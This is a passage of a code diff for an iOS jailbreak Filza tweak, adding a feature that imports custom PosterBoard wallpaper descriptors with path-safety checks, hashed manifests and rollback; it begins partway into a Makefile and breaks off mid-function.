+FilzaApplySandboxExt_CFLAGS += -Wno-arc-performSelector-leaks + +FilzaApplySandboxExt_CCFLAGS = $(FilzaApplySandboxExt_CFLAGS) +FilzaApplySandboxExt_OBJCFLAGS = $(FilzaApplySandboxExt_CFLAGS) +FilzaApplySandboxExt_OBJCCFLAGS = $(FilzaApplySandboxExt_CFLAGS) + +FilzaApplySandboxExt_FRAMEWORKS = UIKit Foundation IOKit CoreFoundation Security AVFoundation QuartzCore WebKit +FilzaApplySandboxExt_PRIVATE_FRAMEWORKS = IOSurface +FilzaApplySandboxExt_LIBRARIES = z sandbox archive +FilzaApplySandboxExt_CFLAGS += -I$(PWD)/vendor/libssh/include +FilzaApplySandboxExt_LDFLAGS += -L$(PWD)/vendor/libssh -weak-lssh + +FilzaApplySandboxExt_INSTALL_TARGET_PROCESSES = Filza + +include $(THEOS_MAKE_PATH)/tweak.mk diff --git a/PosterBoardFeature.h b/PosterBoardFeature.h new file mode 100644 index 0000000..e48a372 --- /dev/null +++ b/PosterBoardFeature.h @@ -0,0 +1,9 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +FOUNDATION_EXPORT void PBWallpaperFeatureStart(void); +FOUNDATION_EXPORT void PBWallpaperConfigureBrowser(UIViewController *controller, + NSString *_Nullable currentPath); + +NS_ASSUME_NONNULL_END diff --git a/PosterBoardFeature.m b/PosterBoardFeature.m new file mode 100644 index 0000000..75a3e52 --- /dev/null +++ b/PosterBoardFeature.m @@ -0,0 +1,1169 @@ +#import "PosterBoardFeature.h" + +#import "MCMFilzaIntegration.h" + +#import +#import +#import +#import +#import +#import +#import + +static NSString *const PBErrorDomain = @"local.filzamod.posterboard"; +static NSString *const PBPosterBoardIdentifier = @"com.apple.PosterBoard"; +static const NSUInteger PBMaximumDescriptors = 10; +static const NSUInteger PBMaximumFiles = 4096; +static const unsigned long long PBMaximumBytes = 256ULL * 1024ULL * 1024ULL; +static const NSInteger PBButtonTag = 0x50424C42; + +typedef struct { + NSUInteger files; + NSUInteger directories; + unsigned long long bytes; +} PBTreeStats; + +static BOOL PBSetError(NSError **error, NSInteger code, NSString *format, ...) +{ + if (error) { + va_list arguments; + va_start(arguments, format); + NSString *message = [[NSString alloc] initWithFormat:format arguments:arguments]; + va_end(arguments); + *error = [NSError errorWithDomain:PBErrorDomain code:code + userInfo:@{NSLocalizedDescriptionKey: message ?: @"PosterBoard operation failed"}]; + } + return NO; +} + +static NSString *PBWorkspace(void) +{ + return [MCMFilzaVirtualRoot() + stringByAppendingPathComponent:MCMFilzaWallpaperLabName()]; +} + +static NSString *PBImportsDirectory(void) +{ + return [PBWorkspace() stringByAppendingPathComponent:@"Imports"]; +} + +static NSString *PBBackupsDirectory(void) +{ + return [PBWorkspace() stringByAppendingPathComponent:@"Backups"]; +} + +static NSString *PBReportsDirectory(void) +{ + return [PBWorkspace() stringByAppendingPathComponent:@"Reports"]; +} + +static NSString *PBCanonicalPath(NSString *path) +{ + NSString *result = path.stringByStandardizingPath; + if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"]) + result = [@"/private" stringByAppendingString:result]; + return result; +} + +static BOOL PBSkippedName(NSString *name) +{ + return [name hasPrefix:@"."] || [name caseInsensitiveCompare:@"__MACOSX"] == NSOrderedSame; +} + +static BOOL PBSafeName(NSString *name) +{ + return name.length > 0 && ![name isEqualToString:@"."] && + ![name isEqualToString:@".."] && [name rangeOfString:@"/"].location == NSNotFound && + [name rangeOfString:@"\0"].location == NSNotFound; +} + +static BOOL PBDirectoryNoSymlink(NSString *path, BOOL requireExisting, NSError **error) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0) { + if (errno == ENOENT && !requireExisting) return YES; + return PBSetError(error, errno, @"Cannot inspect directory %@ (errno %d)", path, errno); + } + if (!S_ISDIR(status.st_mode)) + return PBSetError(error, EINVAL, @"Expected a real directory at %@", path); + return YES; +} + +static NSArray *PBDirectoryNames(NSString *path, NSError **error) +{ + DIR *directory = opendir(path.fileSystemRepresentation); + if (!directory) { + PBSetError(error, errno, @"Cannot open %@ (errno %d)", path, errno); + return nil; + } + NSMutableArray *names = [NSMutableArray array]; + struct dirent *entry = NULL; + errno = 0; + while ((entry = readdir(directory))) { + if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) continue; + NSString *name = [NSString stringWithUTF8String:entry->d_name]; + if (!name || !PBSafeName(name)) { + closedir(directory); + PBSetError(error, EINVAL, @"Directory contains an unsupported file name: %@", path); + return nil; + } + [names addObject:name]; + } + int readError = errno; + closedir(directory); + if (readError) { + PBSetError(error, readError, @"Failed while reading %@ (errno %d)", path, readError); + return nil; + } + return [names sortedArrayUsingSelector:@selector(localizedStandardCompare:)]; +} + +static BOOL PBScanTreeRecursive(NSString *base, NSString *relative, NSUInteger depth, + NSMutableArray *entries, + PBTreeStats *stats, NSError **error) +{ + if (depth > 32) return PBSetError(error, ELOOP, @"Package tree is deeper than 32 levels"); + NSString *directory = relative.length ? [base stringByAppendingPathComponent:relative] : base; + NSArray *names = PBDirectoryNames(directory, error); + if (!names) return NO; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *childRelative = relative.length + ? [relative stringByAppendingPathComponent:name] : name; + NSString *child = [base stringByAppendingPathComponent:childRelative]; + struct stat status = {0}; + if (lstat(child.fileSystemRepresentation, &status) != 0) + return PBSetError(error, errno, @"Cannot inspect %@ (errno %d)", child, errno); + if (S_ISDIR(status.st_mode)) { + stats->directories++; + [entries addObject:@{@"Path": childRelative, @"Directory": @YES}]; + if (!PBScanTreeRecursive(base, childRelative, depth + 1, entries, stats, error)) + return NO; + } else if (S_ISREG(status.st_mode)) { + if (status.st_size < 0) return PBSetError(error, EINVAL, @"Invalid file size at %@", child); + stats->files++; + stats->bytes += (unsigned long long)status.st_size; + if (stats->files > PBMaximumFiles || stats->bytes > PBMaximumBytes) + return PBSetError(error, EFBIG, + @"Package exceeds the %lu-file or 256 MiB safety limit", + (unsigned long)PBMaximumFiles); + [entries addObject:@{@"Path": childRelative, @"Directory": @NO, + @"Size": @((unsigned long long)status.st_size)}]; + } else { + return PBSetError(error, EINVAL, + @"Package contains a link or special file, which is not allowed: %@", childRelative); + } + } + return YES; +} + +static NSArray *PBScanTree(NSString *root, PBTreeStats *stats, + NSError **error) +{ + memset(stats, 0, sizeof(*stats)); + if (!PBDirectoryNoSymlink(root, YES, error)) return nil; + NSMutableArray *entries = [NSMutableArray array]; + if (!PBScanTreeRecursive(root, @"", 0, entries, stats, error)) return nil; + [entries sortUsingComparator:^NSComparisonResult(NSDictionary *left, NSDictionary *right) { + return [left[@"Path"] compare:right[@"Path"] options:NSLiteralSearch]; + }]; + return entries; +} + +static BOOL PBCopyRegularFile(NSString *source, NSString *destination, NSError **error) +{ + int input = open(source.fileSystemRepresentation, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (input < 0) return PBSetError(error, errno, @"Cannot open %@ (errno %d)", source, errno); + struct stat status = {0}; + if (fstat(input, &status) != 0 || !S_ISREG(status.st_mode)) { + int saved = errno ?: EINVAL; + close(input); + return PBSetError(error, saved, @"Source changed during import: %@", source); + } + int output = open(destination.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0600); + if (output < 0) { + int saved = errno; + close(input); + return PBSetError(error, saved, @"Cannot create %@ (errno %d)", destination, saved); + } + BOOL ok = YES; + uint8_t buffer[64 * 1024]; + for (;;) { + ssize_t count = read(input, buffer, sizeof(buffer)); + if (count == 0) break; + if (count < 0) { + if (errno == EINTR) continue; + ok = PBSetError(error, errno, @"Read failed for %@ (errno %d)", source, errno); + break; + } + ssize_t offset = 0; + while (offset < count) { + ssize_t written = write(output, buffer + offset, (size_t)(count - offset)); + if (written < 0 && errno == EINTR) continue; + if (written <= 0) { + ok = PBSetError(error, errno ?: EIO, @"Write failed for %@ (errno %d)", + destination, errno ?: EIO); + break; + } + offset += written; + } + if (!ok) break; + } + if (ok && fsync(output) != 0) + ok = PBSetError(error, errno, @"Could not flush %@ (errno %d)", destination, errno); + close(output); + close(input); + if (!ok) unlink(destination.fileSystemRepresentation); + return ok; +} + +static BOOL PBCopyTree(NSString *source, NSString *destination, + NSArray *entries, NSError **error) +{ + if (mkdir(destination.fileSystemRepresentation, 0700) != 0) + return PBSetError(error, errno, @"Cannot create staging directory %@ (errno %d)", + destination, errno); + for (NSDictionary *entry in entries) { + if (![entry[@"Directory"] boolValue]) continue; + NSString *path = [destination stringByAppendingPathComponent:entry[@"Path"]]; + if (mkdir(path.fileSystemRepresentation, 0700) != 0) + return PBSetError(error, errno, @"Cannot create directory %@ (errno %d)", path, errno); + } + for (NSDictionary *entry in entries) { + if ([entry[@"Directory"] boolValue]) continue; + NSString *relative = entry[@"Path"]; + if (!PBCopyRegularFile([source stringByAppendingPathComponent:relative], + [destination stringByAppendingPathComponent:relative], error)) + return NO; + } + return YES; +} + +static BOOL PBWritePlist(id plist, NSPropertyListFormat format, NSString *path, + NSError **error) +{ + NSError *serializationError = nil; + NSData *data = [NSPropertyListSerialization dataWithPropertyList:plist + format:format options:0 error:&serializationError]; + if (!data) { + if (error) *error = serializationError; + return NO; + } + NSError *writeError = nil; + if (![data writeToFile:path options:NSDataWritingAtomic error:&writeError]) { + if (error) *error = writeError; + return NO; + } + return YES; +} + +static BOOL PBRewriteDescriptor(NSString *root, NSInteger wallpaperIdentifier, + NSError **error) +{ + PBTreeStats stats = {0}; + NSArray *entries = PBScanTree(root, &stats, error); + if (!entries) return NO; + for (NSDictionary *entry in entries) { + if ([entry[@"Directory"] boolValue]) continue; + NSString *relative = entry[@"Path"]; + NSString *name = relative.lastPathComponent; + NSString *path = [root stringByAppendingPathComponent:relative]; + if ([name isEqualToString:@"com.apple.posterkit.provider.descriptor.identifier"]) { + NSData *identifierData = [[NSString stringWithFormat:@"%ld", (long)wallpaperIdentifier] + dataUsingEncoding:NSUTF8StringEncoding]; + if (![identifierData writeToFile:path options:NSDataWritingAtomic error:error]) return NO; + continue; + } + BOOL userInfo = [name isEqualToString:@"com.apple.posterkit.provider.contents.userInfo"]; + BOOL wallpaperPlist = [name hasSuffix:@"Wallpaper.plist"]; + if (!userInfo && !wallpaperPlist) continue; + NSData *data = [NSData dataWithContentsOfFile:path options:NSDataReadingMappedIfSafe error:error]; + if (!data) return NO; + NSPropertyListFormat format = NSPropertyListBinaryFormat_v1_0; + id plist = [NSPropertyListSerialization propertyListWithData:data + options:NSPropertyListMutableContainersAndLeaves format:&format error:error]; + if (![plist isKindOfClass:NSMutableDictionary.class]) + return PBSetError(error, EINVAL, @"Expected a dictionary plist at %@", relative); + NSMutableDictionary *dictionary = plist; + if (userInfo) { + dictionary[@"wallpaperRepresentingIdentifier"] = @(wallpaperIdentifier); + } else { + dictionary[@"identifier"] = @(wallpaperIdentifier); + dictionary[@"family"] = @"Marble"; + dictionary[@"name"] = @"Lavender"; + id assets = dictionary[@"assets"]; + id lockAndHome = [assets isKindOfClass:NSMutableDictionary.class] + ? assets[@"lockAndHome"] : nil; + id defaultAsset = [lockAndHome isKindOfClass:NSMutableDictionary.class] + ? lockAndHome[@"default"] : nil; + if ([defaultAsset isKindOfClass:NSMutableDictionary.class]) + defaultAsset[@"name"] = @"Lavender"; + } + if (!PBWritePlist(dictionary, format, path, error)) return NO; + } + return YES; +} + +static NSString *PBHexDigest(const unsigned char digest[CC_SHA256_DIGEST_LENGTH]) +{ + NSMutableString *result = [NSMutableString stringWithCapacity:CC_SHA256_DIGEST_LENGTH * 2]; + for (NSUInteger index = 0; index < CC_SHA256_DIGEST_LENGTH; index++) + [result appendFormat:@"%02x", digest[index]]; + return result; +} + +static NSString *PBDataDigest(NSData *data) +{ + unsigned char digest[CC_SHA256_DIGEST_LENGTH] = {0}; + CC_SHA256(data.bytes, (CC_LONG)data.length, digest); + return PBHexDigest(digest); +} + +static NSString *PBTreeDigest(NSString *root, PBTreeStats *outStats, NSError **error) +{ + PBTreeStats stats = {0}; + NSArray *entries = PBScanTree(root, &stats, error); + if (!entries) return nil; + CC_SHA256_CTX context; + CC_SHA256_Init(&context); + for (NSDictionary *entry in entries) { + BOOL directory = [entry[@"Directory"] boolValue]; + uint8_t type = directory ? 'D' : 'F'; + NSData *pathData = [entry[@"Path"] dataUsingEncoding:NSUTF8StringEncoding]; + uint32_t length = CFSwapInt32HostToBig((uint32_t)pathData.length); + CC_SHA256_Update(&context, &type, sizeof(type)); + CC_SHA256_Update(&context, &length, sizeof(length)); + CC_SHA256_Update(&context, pathData.bytes, (CC_LONG)pathData.length); + if (directory) continue; + NSString *path = [root stringByAppendingPathComponent:entry[@"Path"]]; + int descriptor = open(path.fileSystemRepresentation, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (descriptor < 0) { + PBSetError(error, errno, @"Cannot hash %@ (errno %d)", path, errno); + return nil; + } + uint8_t buffer[64 * 1024]; + BOOL ok = YES; + for (;;) { + ssize_t count = read(descriptor, buffer, sizeof(buffer)); + if (count == 0) break; + if (count < 0 && errno == EINTR) continue; + if (count < 0) { + ok = PBSetError(error, errno, @"Cannot hash %@ (errno %d)", path, errno); + break; + } + CC_SHA256_Update(&context, buffer, (CC_LONG)count); + } + close(descriptor); + if (!ok) return nil; + } + unsigned char digest[CC_SHA256_DIGEST_LENGTH] = {0}; + CC_SHA256_Final(digest, &context); + if (outStats) *outStats = stats; + return PBHexDigest(digest); +} + +static BOOL PBFindDescriptorContainers(NSString *directory, NSUInteger depth, + NSMutableArray *containers, + NSError **error) +{ + if (depth > 8) return PBSetError(error, ELOOP, @"Package search exceeded 8 levels"); + NSString *lowerName = directory.lastPathComponent.lowercaseString; + if ([lowerName containsString:@"descriptor"]) { + [containers addObject:directory]; + return YES; + } + NSArray *names = PBDirectoryNames(directory, error); + if (!names) return NO; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *path = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0) + return PBSetError(error, errno, @"Cannot inspect %@ (errno %d)", path, errno); + if (S_ISLNK(status.st_mode)) + return PBSetError(error, EINVAL, @"Package links are not allowed: %@", path); + if (!S_ISDIR(status.st_mode)) continue; + if ([name caseInsensitiveCompare:@"container"] == NSOrderedSame) + return PBSetError(error, EPERM, + @"Unsafe container-style tendies are not supported. Use a descriptor package."); + if (!PBFindDescriptorContainers(path, depth + 1, containers, error)) return NO; + } + return YES; +} + +static NSString *PBProviderForContainer(NSString *container) +{ + NSString *name = container.lastPathComponent.lowercaseString; + if ([name containsString:@"video"] || [name containsString:@"photos"]) + return @"com.apple.PhotosUIPrivate.PhotosPosterProvider"; + if ([name containsString:@"mercury"]) + return @"com.apple.MercuryPoster"; + return @"com.apple.WallpaperKit.CollectionsPoster"; +} + +static NSArray *PBDiscoverDescriptors(NSString *package, + NSError **error) +{ + NSMutableArray *containers = [NSMutableArray array]; + if (!PBFindDescriptorContainers(package, 0, containers, error)) return nil; + if (containers.count == 0) { + PBSetError(error, ENOENT, + @"No descriptor or descriptors folder was found in %@", package.lastPathComponent); + return nil; + } + NSMutableArray *descriptors = [NSMutableArray array]; + for (NSString *container in containers) { + NSString *provider = PBProviderForContainer(container); + NSArray *names = PBDirectoryNames(container, error); + if (!names) return nil; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *source = [container stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(source.fileSystemRepresentation, &status) != 0) { + PBSetError(error, errno, @"Cannot inspect %@ (errno %d)", source, errno); + return nil; + } + if (!S_ISDIR(status.st_mode)) { + PBSetError(error, EINVAL, + @"Descriptor folder contains an unexpected file: %@", source); + return nil; + } + PBTreeStats stats = {0}; + NSArray *entries = PBScanTree(source, &stats, error); + if (!entries) return nil; + if (stats.files == 0) { + PBSetError(error, EINVAL, @"Descriptor is empty: %@", source); + return nil; + } + [descriptors addObject:@{@"Source": source, @"SourceName": name, + @"Provider": provider, @"Entries": entries, + @"FileCount": @(stats.files), @"ByteCount": @(stats.bytes)}]; + if (descriptors.count > PBMaximumDescriptors) { + PBSetError(error, E2BIG, @"A package may contain at most %lu descriptors", + (unsigned long)PBMaximumDescriptors); + return nil; + } + } + } + if (descriptors.count == 0) { + PBSetError(error, ENOENT, @"The package contains no descriptor directories"); + return nil; + } + return descriptors; +} + +static NSDictionary *PBPosterBoardContext(NSError **error) +{ + NSString *activationError = nil; + NSString *root = MCMFilzaDataContainerPath(PBPosterBoardIdentifier, &activationError); + if (!root) { + PBSetError(error, EPERM, @"PosterBoard container activation failed: %@", + activationError ?: @"unknown error"); + return nil; + } + NSString *store = [root stringByAppendingPathComponent: + @"Library/Application Support/PRBPosterExtensionDataStore"]; + if (!PBDirectoryNoSymlink(store, YES, error)) return nil; + NSArray *names = PBDirectoryNames(store, error); + if (!names) return nil; + NSString *selected = nil; + long long selectedValue = LLONG_MIN; + NSCharacterSet *notDigits = NSCharacterSet.decimalDigitCharacterSet.invertedSet; + for (NSString *name in names) { + if (name.length == 0 || [name rangeOfCharacterFromSet:notDigits].location != NSNotFound) + continue; + NSString *structure = [store stringByAppendingPathComponent:name]; + NSString *extensions = [structure stringByAppendingPathComponent:@"Extensions"]; + if (!PBDirectoryNoSymlink(structure, YES, nil) || + !PBDirectoryNoSymlink(extensions, YES, nil)) continue; + long long value = name.longLongValue; + if (value > selectedValue) { + selectedValue = value; + selected = name; + } + } + if (!selected) + return PBSetError(error, ENOENT, + @"No numeric PosterBoard structure with an Extensions directory was found"), nil; + NSString *extensions = [[store stringByAppendingPathComponent:selected] + stringByAppendingPathComponent:@"Extensions"]; + return @{@"Root": root, @"Store": store, @"Structure": selected, + @"Extensions": extensions}; +} + +static BOOL PBEnsureTargetDirectory(NSString *path, NSMutableArray *created, + NSError **error) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0) { + if (!S_ISDIR(status.st_mode)) + return PBSetError(error, EINVAL, @"Target is not a real directory: %@", path); + return YES; + } + if (errno != ENOENT) + return PBSetError(error, errno, @"Cannot inspect target %@ (errno %d)", path, errno); + if (mkdir(path.fileSystemRepresentation, 0700) != 0) + return PBSetError(error, errno, @"Cannot create target %@ (errno %d)", path, errno); + [created addObject:path]; + return YES; +} + +static void PBRemoveTree(NSString *path) +{ + if (path.length == 0) return; + [[NSFileManager defaultManager] removeItemAtPath:path error:nil]; +} + +static void PBCleanupEmptyDirectories(NSArray *directories) +{ + for (NSString *path in directories.reverseObjectEnumerator) { + NSArray *contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:path error:nil]; + if (contents.count == 0) rmdir(path.fileSystemRepresentation); + } +} + +static BOOL PBWriteManifest(NSDictionary *manifest, NSString *path, NSError **error) +{ + return [manifest writeToURL:[NSURL fileURLWithPath:path] + error:error]; +} + +static NSDictionary *PBApplyRefreshPreferences(NSDictionary *context, + NSString *transaction, + NSError **error) +{ + NSString *preferencePath = [context[@"Root"] stringByAppendingPathComponent: + @"Library/Preferences/com.apple.PosterBoard.unprotectedUserDefaults.plist"]; + struct stat status = {0}; + int inspectResult = lstat(preferencePath.fileSystemRepresentation, &status); + if (inspectResult != 0 && errno != ENOENT) { + PBSetError(error, errno, @"Cannot inspect PosterBoard refresh preferences (errno %d)", errno); + return nil; + } + BOOL originalExisted = inspectResult == 0; + if (originalExisted && !S_ISREG(status.st_mode)) { + PBSetError(error, EINVAL, @"PosterBoard refresh preference is not a regular file"); + return nil; + } + NSData *original = nil; + if (originalExisted) { + original = [NSData dataWithContentsOfFile:preferencePath + options:NSDataReadingMappedIfSafe error:error]; + if (!original) return nil; + } + + NSMutableDictionary *preferences = nil; + if (original.length > 0) { + NSPropertyListFormat format = NSPropertyListBinaryFormat_v1_0; + id plist = [NSPropertyListSerialization propertyListWithData:original + options:NSPropertyListMutableContainersAndLeaves format:&format error:error]; + if (![plist isKindOfClass:NSMutableDictionary.class]) { + PBSetError(error, EINVAL, @"PosterBoard refresh preference is not a dictionary plist"); + return nil; + } + preferences = plist; + } else { + preferences = [NSMutableDictionary dictionary]; + } + + // These are Nugget's force-PosterBoard-refresh values for iOS 26.4+. + preferences[@"PBF_LOCALE_DID_CHANGE"] = @NO; + preferences[@"PBF_RESET_FILE_PROTECTIONS"] = @YES; + preferences[@"PersistedPosterContainerBundleIdentifiers"] = @[ + @"com.apple.Posters.CollectionsPosterApp", + ]; + preferences[@"CompletedPosterBundleIdentifierMigrations"] = @[ + @"com.apple.Posters.UnityPosterApp.ExtragalacticPoster", + @"com.apple.Posters.WeatherPosterApp.WeatherPoster", + @"com.apple.Posters.UnityPosterApp.Unity2025Poster", + @"com.apple.Posters.UnityPosterApp.UnityPosterExtension", + @"com.apple.Posters.UnityPosterApp.RhizomePoster", + @"com.apple.Posters.KaleidoscopePosterApp.KaleidoscopePoster", + ]; + NSData *installed = [NSPropertyListSerialization dataWithPropertyList:preferences + format:NSPropertyListBinaryFormat_v1_0 options:0 error:error]; + if (!installed) return nil; + + NSString *backupPath = @""; + if (originalExisted) { + backupPath = [PBBackupsDirectory() stringByAppendingPathComponent: + [transaction stringByAppendingString:@"-PosterBoardPrefs.bin"]]; + if (![original writeToFile:backupPath options:NSDataWritingAtomic error:error]) return nil; + } + if (![installed writeToFile:preferencePath options:NSDataWritingAtomic error:error]) { + if (backupPath.length) [[NSFileManager defaultManager] removeItemAtPath:backupPath error:nil]; + return nil; + } + NSData *roundTrip = [NSData dataWithContentsOfFile:preferencePath + options:NSDataReadingMappedIfSafe error:error]; + if (!roundTrip || ![roundTrip isEqualToData:installed]) { + if (originalExisted) + [original writeToFile:preferencePath options:NSDataWritingAtomic error:nil]; + else + [[NSFileManager defaultManager] removeItemAtPath:preferencePath error:nil]; + if (backupPath.length) [[NSFileManager defaultManager] removeItemAtPath:backupPath error:nil]; + if (!error || !*error) + PBSetError(error, EIO, @"PosterBoard refresh preference verification failed"); + return nil; + } + return @{ + @"Path": preferencePath, + @"OriginalExisted": @(originalExisted), + @"OriginalSHA256": originalExisted ? PBDataDigest(original) : @"", + @"BackupPath": backupPath, + @"InstalledSHA256": PBDataDigest(installed), + }; +} + +static BOOL PBRestoreRefreshPreferences(NSDictionary *record, + NSDictionary *context, + NSError **error) +{ + if (![record isKindOfClass:NSDictionary.class]) return YES; + NSString *expectedPath = [context[@"Root"] stringByAppendingPathComponent: + @"Library/Preferences/com.apple.PosterBoard.unprotectedUserDefaults.plist"]; + NSString *path = [record[@"Path"] isKindOfClass:NSString.class] ? record[@"Path"] : nil; + if (![path.stringByStandardizingPath isEqualToString:expectedPath.stringByStandardizingPath]) + return PBSetError(error, EPERM, @"Refresh rollback contains an out-of-scope preference path"); + NSData *current = [NSData dataWithContentsOfFile:path + options:NSDataReadingMappedIfSafe error:error]; + if (!current || ![PBDataDigest(current) isEqualToString:record[@"InstalledSHA256"]]) + return PBSetError(error, EBUSY, + @"Refusing preference rollback because PosterBoard changed the refresh file"); + + if ([record[@"OriginalExisted"] boolValue]) { + NSString *backupPath = [record[@"BackupPath"] isKindOfClass:NSString.class] + ? record[@"BackupPath"] : nil; + NSData *backup = [NSData dataWithContentsOfFile:backupPath + options:NSDataReadingMappedIfSafe error:error]; + if (!backup || ![PBDataDigest(backup) isEqualToString:record[@"OriginalSHA256"]]) + return PBSetError(error, EINVAL, @"PosterBoard preference backup failed verification"); + if (![backup writeToFile:path options:NSDataWritingAtomic error:error]) return NO; + } else if (![[NSFileManager defaultManager] removeItemAtPath:path error:error]) { + return NO; + } + return YES; +} + +static NSString *PBImportPackage(NSString *package, NSError **outError) +{ + NSError *error = nil; + NSArray *descriptors = PBDiscoverDescriptors(package, &error); + if (!descriptors) { + if (outError) *outError = error; + return nil; + } + NSDictionary *context = PBPosterBoardContext(&error); + if (!context) { + if (outError) *outError = error; + return nil; + } + + NSMutableArray *createdParents = [NSMutableArray array]; + NSMutableArray *stagingPaths = [NSMutableArray array]; + NSMutableArray *installedPaths = [NSMutableArray array]; + NSMutableArray *manifestEntries = [NSMutableArray array]; + NSMutableSet *identifiers = [NSMutableSet set]; + NSString *transaction = NSUUID.UUID.UUIDString.uppercaseString; + NSDictionary *refreshRecord = nil; + BOOL success = NO; + + for (NSDictionary *descriptor in descriptors) { + NSString *providerRoot = [context[@"Extensions"] + stringByAppendingPathComponent:descriptor[@"Provider"]]; + NSString *descriptorRoot = [providerRoot stringByAppendingPathComponent:@"descriptors"]; + if (!PBEnsureTargetDirectory(providerRoot, createdParents, &error) || + !PBEnsureTargetDirectory(descriptorRoot, createdParents, &error)) break; + + NSString *uuid = NSUUID.UUID.UUIDString.uppercaseString; + NSString *target = [descriptorRoot stringByAppendingPathComponent:uuid]; + NSString *staging = [descriptorRoot stringByAppendingPathComponent: + [NSString stringWithFormat:@".%@.partial-%@", uuid, NSUUID.UUID.UUIDString]]; + NSInteger wallpaperIdentifier = 0; + do { + wallpaperIdentifier = (NSInteger)arc4random_uniform(90001) + 9999; + } while ([identifiers containsObject:@(wallpaperIdentifier)]); + [identifiers addObject:@(wallpaperIdentifier)]; + [stagingPaths addObject:staging]; + + if (!PBCopyTree(descriptor[@"Source"], staging, descriptor[@"Entries"], &error) || + !PBRewriteDescriptor(staging, wallpaperIdentifier, &error)) break; + PBTreeStats finalStats = {0}; + NSString *digest = PBTreeDigest(staging, &finalStats, &error); + if (!digest) break; + if (renameatx_np(AT_FDCWD, staging.fileSystemRepresentation, + AT_FDCWD, target.fileSystemRepresentation, RENAME_EXCL) != 0) { + PBSetError(&error, errno, @"Could not commit descriptor %@ (errno %d)", uuid, errno); + break; + } + [stagingPaths removeObject:staging]; + [installedPaths addObject:target]; + [manifestEntries addObject:@{ + @"SourceName": descriptor[@"SourceName"], + @"Provider": descriptor[@"Provider"], + @"DescriptorRoot": descriptorRoot, + @"UUID": uuid, + @"WallpaperIdentifier": @(wallpaperIdentifier), + @"Target": target, + @"SHA256": digest, + @"FileCount": @(finalStats.files), + @"ByteCount": @(finalStats.bytes), + }]; + } + + if (manifestEntries.count == descriptors.count) + refreshRecord = PBApplyRefreshPreferences(context, transaction, &error); + + if (manifestEntries.count == descriptors.count && refreshRecord) { + NSDictionary *manifest = @{ + @"Version": @2, + @"Status": @"installed", + @"Transaction": transaction, + @"CreatedAt": NSDate.date, + @"Package": package.lastPathComponent ?: @"", + @"PosterBoardRoot": context[@"Root"], + @"Structure": context[@"Structure"], + @"CreatedParents": createdParents, + @"Entries": manifestEntries, + @"RefreshPreference": refreshRecord, + }; + NSString *manifestPath = [PBBackupsDirectory() stringByAppendingPathComponent: + [transaction stringByAppendingPathExtension:@"plist"]]; + if (PBWriteManifest(manifest, manifestPath, &error)) success = YES; + } + + if (!success) { + if (refreshRecord) PBRestoreRefreshPreferences(refreshRecord, context, nil); + NSString *backupPath = refreshRecord[@"BackupPath"]; + if (backupPath.length) [[NSFileManager defaultManager] removeItemAtPath:backupPath error:nil]; + for (NSString *path in stagingPaths) PBRemoveTree(path); + for (NSString *path in installedPaths.reverseObjectEnumerator) PBRemoveTree(path); + PBCleanupEmptyDirectories(createdParents); + if (!error) PBSetError(&error, EIO, @"Import transaction did not complete"); + if (outError) *outError = error; + return nil; + } + return [NSString stringWithFormat: + @"Imported %lu descriptor%@ into PosterBoard structure %@ and applied the backed-up refresh preferences. Open Settings > Wallpaper.", + (unsigned long)manifestEntries.count, manifestEntries.count == 1 ? @"" : @"s", + context[@"Structure"]]; +} + +static NSArray *PBManifestPaths(void) +{ + NSArray *names = [[NSFileManager defaultManager] + contentsOfDirectoryAtPath:PBBackupsDirectory() error:nil] ?: @[]; + NSMutableArray *paths = [NSMutableArray array]; + for (NSString *name in names) { + if (![name.pathExtension.lowercaseString isEqualToString:@"plist"]) continue; + [paths addObject:[PBBackupsDirectory() stringByAppendingPathComponent:name]]; + } + [paths sortUsingComparator:^NSComparisonResult(NSString *left, NSString *right) { + NSDictionary *leftAttributes = [[NSFileManager defaultManager] attributesOfItemAtPath:left error:nil]; + NSDictionary *rightAttributes = [[NSFileManager defaultManager] attributesOfItemAtPath:right error:nil]; + return [rightAttributes[NSFileModificationDate] + compare:leftAttributes[NSFileModificationDate]]; + }]; + return paths; +} + +static BOOL PBPathIsInside(NSString *path, NSString *root) +{ + NSString *candidate = path.stringByStandardizingPath; + NSString *base = root.stringByStandardizingPath; + return [candidate hasPrefix:[base stringByAppendingString:@"/"]]; +} + +static NSString *PBRollBackLatest(NSError **outError) +{ + NSString *manifestPath = PBManifestPaths().firstObject; + if (!manifestPath) { + PBSetError(outError, ENOENT, @"There is no installed wallpaper transaction to roll back"); + return nil; + } + NSDictionary *manifest = [NSDictionary dictionaryWithContentsOfFile:manifestPath]; + NSArray *entries = [manifest[@"Entries"] isKindOfClass:NSArray.class] + ? manifest[@"Entries"] : nil; + if ((![[manifest objectForKey:@"Version"] isEqual:@1] && + ![[manifest objectForKey:@"Version"] isEqual:@2]) || entries.count == 0) { + PBSetError(outError, EINVAL, @"The newest rollback manifest is invalid"); + return nil; + } + NSError *error = nil; + NSDictionary *context = PBPosterBoardContext(&error); + if (!context) { + if (outError) *outError = error; + return nil; + } + for (NSDictionary *entry in entries) { + NSString *target = [entry[@"Target"] isKindOfClass:NSString.class] ? entry[@"Target"] : nil; + NSString *descriptorRoot = [entry[@"DescriptorRoot"] isKindOfClass:NSString.class] + ? entry[@"DescriptorRoot"] : nil; + NSString *uuid = [entry[@"UUID"] isKindOfClass:NSString.class] ? entry[@"UUID"] : nil; + NSUUID *parsedUUID = [[NSUUID alloc] initWithUUIDString:uuid]; + if (!target || !descriptorRoot || !parsedUUID || + ![descriptorRoot.lastPathComponent isEqualToString:@"descriptors"] || + !PBPathIsInside(descriptorRoot, 